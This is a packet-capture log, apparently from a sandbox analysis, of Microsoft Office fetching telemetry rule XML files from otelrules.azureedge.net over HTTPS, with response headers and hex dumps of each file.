2024-10-31 08:07:31 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:31 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:32 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:32 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 3dc364f2-b01e-0053-5310-2bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080732Z-15b8d89586f5s5nz3ffrgxn5ac0000000a20000000002b1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:32 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:32 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:32 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:32 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 35f8d799-001e-0079-2cb8-2a12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080732Z-159b85dff8flqhxthC1DFWsvrs000000013g000000008m21 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:32 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:32 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:32 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:32 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 47a6a88f-901e-0029-535c-2b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080732Z-15b8d89586fnsf5zkvx8tfb0zc00000004a000000000b2ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:32 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:32 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:32 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:32 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c032846d-701e-005c-2d58-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080732Z-16849878b787wpl5wqkt5731b40000000a3g000000000hmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:32 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:32 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:32 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:32 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 80a81280-401e-0047-19c2-2a8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080732Z-159b85dff8fj6b6xhC1DFW8qdg00000000wg00000000arf8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:32 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:32 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:32 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:32 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: cce89326-d01e-0065-2b38-2bb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080732Z-15b8d89586fvpb59307bn2rcac00000004f0000000002a1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:32 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:32 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:33 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:32 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: d4940829-c01e-0014-691e-27a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080732Z-17c5cb586f626sn8grcgm1gf8000000007n000000000dm60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:33 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:32 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:33 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:33 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: c49cf7be-b01e-0002-3880-271b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080733Z-16849878b78x6gn56mgecg60qc0000000b30000000004f9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:33 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:33 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:33 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:33 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: a6706070-501e-005b-556d-28d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080733Z-15b8d89586f42m673h1quuee4s0000000dag000000007v28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:33 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:33 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:33 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:33 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 0b68bc80-f01e-00aa-22d6-2a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080733Z-159b85dff8f7lrfphC1DFWfw080000000110000000008snt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 08:07:33 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 08:07:33 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 08:07:33 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:33 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b4130024-d01e-0082-10a3-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T080733Z-16849878b787bfsh7zgp804my4000000082g000000004vhc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 08:07:33 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data 